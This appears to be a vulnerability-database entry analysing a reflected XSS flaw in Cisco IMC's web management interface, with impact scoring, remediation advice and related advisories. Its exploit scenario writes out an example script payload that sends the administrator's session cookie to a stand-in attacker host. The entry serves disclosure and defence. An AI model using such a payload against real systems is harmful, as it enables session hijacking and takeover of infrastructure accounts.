EUVD-2026-17937
GHSA-mpmj-52r5-p8cp
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS 6.1 score reflects moderate severity, driven by network accessibility and low complexity, but mitigated by required user interaction and limited direct impact (confidentiality and integrity only, no availability impact). However, real-world risk is elevated due to several factors: (1) IMC is a privileged management interface typically accessed by infrastructure administrators with high-trust roles, making victims attractive targets; (2) reflected XSS in management consoles can facilitate lateral movement, credential harvesting, or privilege escalation within the environment; (3) the EPSS probability score is not provided, but the combination of unauthenticated network access and widespread deployment in enterprise Cisco environments increases exploitation likelihood; (4) no KEV status or POC availability data is provided, suggesting either recent disclosure or limited public exploitation at analysis time, but the straightforward nature of XSS exploitation (no complex prerequisites) means proof-of-concept development is trivial. From an SSVC perspective, this is a technical impact with root cause in the management layer where it affects infrastructure control, and while automation is feasible for delivery, the user-interaction requirement and trust boundary (admin-level interface) position this as elevated-priority for affected organizations managing critical Cisco UCS deployments. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL containing JavaScript payload in a query parameter or form field expected by the Cisco IMC web interface (e.g., https://imc.target.com/admin?search=<script>fetch('attacker.com/steal?cookie='+document.cookie)</script>). The attacker sends this link via email or social engineering to a Cisco infrastructure administrator. When the administrator clicks the link and the IMC interface reflects the unsanitized input back in the page, the injected JavaScript executes in their browser with the same privileges as their IMC session. The attacker's script steals the administrator's session cookie or authentication token, enabling account takeover and potential infrastructure compromise. No public exploit code availability is confirmed at analysis time. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 01, 2026
Reflected XSS in Cisco IMC web management interface allows unauthenticated remote attackers to execute arbitrary JavaScript in user browsers via crafted links. Affects Cisco Enterprise NFV Infrastructure Software, Cisco Unified Computing System (standalone), and UCS E-Series Software. Exploitation requires user interaction (clicking a malicious link) but could lead to session hijacking, credential theft, or malware delivery to privileged administrators managing critical infrastructure.
RemediationAI
Organizations must obtain and apply patches from Cisco Security Advisory cisco-sa-cimc-xss-A2tkgVAB, which will specify fixed versions for each affected product line (Enterprise NFV Infrastructure Software, UCS standalone, and UCS E-Series). Patch deployment should be prioritized for IMC instances accessible from untrusted networks or used by administrators. Interim mitigations pending patching include: restricting web-based IMC access to trusted IP ranges via firewall rules, disabling IMC web interface and relying on alternative management protocols (IPMI, SSH) if web access is not required, implementing Web Application Firewall (WAF) rules to filter known XSS payloads, and educating administrators to avoid clicking untrusted links to IMC interfaces. After patching, validate that input validation is properly applied to all user-controllable fields in the management interface.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the web-based management interface of Cisco Integrated Management Controller (IMC), a critical out-of-band management platform used in enterprise computing environments. The root cause is insufficient input validation (CWE-79: Improper Neutralization of Input During Web Page Generation, also known as Cross-site Scripting). Reflected XSS occurs when user-supplied input is echoed back in an HTTP response without proper encoding or sanitization. In this case, the IMC web interface fails to validate and escape user input before rendering it in the browser context, allowing attackers to inject malicious JavaScript payloads. The attack vector is network-based and requires no authentication (PR:N per CVSS vector), though it does require user interaction (UI:R) to click the crafted link. Affected products span Cisco's virtualization and computing infrastructure stacks.
Know when Cisco Enterprise Nfv Infrastructure Software gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from Vendor (cisco) · only source for this CVE.
CVSS VectorVendor: cisco
DescriptionCVE.org
A vulnerability in the web-based management interface of Cisco IMC could allow an unauthenticated, remote attacker to conduct a reflected XSS attack against a user of the interface.
This vulnerability is due to insufficient validation of user input. An attacker could exploit this vulnerability by persuading a user of an affected interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the browser of the targeted user or access sensitive, browser-based information.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Authentication bypass in Cisco Integrated Management Controller (IMC) allows unauthenticated remote attackers to gain ad
UEFI Secure Boot bypass in Cisco UCS Servers and UCS-based appliances allows authenticated users with 'user' or 'admin'
Command injection in Cisco IMC web management interface allows authenticated admin-level attackers to execute arbitrary
Command injection in Cisco IMC web-based management interface allows authenticated remote attackers with admin-level pri
Cross-site scripting in the Cisco Integrated Management Controller (IMC) web-based management interface allows an authen
Stored XSS in Cisco IMC web management interface allows authenticated administrators to inject arbitrary script code exe
Stored cross-site scripting (XSS) in Cisco IMC web management interface allows authenticated administrators to inject pe
Stored XSS in Cisco IMC web management interface allows authenticated administrators to inject arbitrary script code via
Stored cross-site scripting (XSS) in Cisco IMC web management interface allows authenticated administrators to inject ma
Exploit-DB